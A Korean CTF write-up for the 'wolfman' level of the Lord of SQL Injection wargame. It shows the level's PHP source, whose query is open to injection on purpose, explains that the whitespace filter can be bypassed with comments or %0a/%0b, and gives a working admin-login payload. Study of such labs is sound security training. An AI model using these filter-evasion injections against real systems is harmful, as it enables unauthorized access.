<코드 분석>
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~");
$query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("wolfman");
highlight_file(__FILE__);
?>
pw를 Get 방식으로 받아주고, prob _ . () 공백을 필터링한다.
로그인 정보를 보여주고, 이때 로그인한게 admin이면 문제가 풀린다.
<해설>
공백을 필터링하는게 제일 중요한 문제인듯 하다.
/**/ 을 이용해도 되고, %0a,%0b를 이용해도 된다.
?pw='or id='admin' %23 을 넣어주고 싶으니
?pw='or%0aid='admin'%0a%23
를 넘겨주면 문제가 풀린다.
Clear!
'WriteUp > LOS_rubiya' 카테고리의 다른 글
LOS - rubiya : Orge (0) | 2020.05.13 |
---|---|
LOS - rubiya : Darkelf (0) | 2020.05.13 |
LOS -rubiya : Wolfman (0) | 2020.05.13 |
LOS -rubiya : Orc (0) | 2020.05.08 |
LOS - rubiya : Goblin (0) | 2020.05.07 |